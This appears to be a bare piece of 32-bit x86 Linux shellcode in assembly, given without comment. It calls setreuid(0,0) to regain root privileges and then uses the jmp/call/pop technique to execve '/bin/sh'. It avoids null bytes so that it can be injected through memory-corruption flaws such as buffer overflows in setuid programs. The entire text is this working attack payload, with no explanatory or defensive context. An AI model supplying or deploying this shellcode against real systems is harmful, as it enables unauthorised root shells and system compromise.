.globl main
main:
xorl %eax, %eax
mov $70, %al
xorl %ebx, %ebx
xorl %ecx, %ecx
int $0x80
jmp ONE
TWO:
popl %ebx
xorl %eax, %eax
movl %eax, 7(%ebx)
mov %ebx, 8(%ebx)
mov %eax, 12(%ebx)
mov $11, %al
leal 8(%ebx), %ecx
leal 12(%ebx), %edx
int $0x80
ONE:
call TWO
.string "/bin/sh"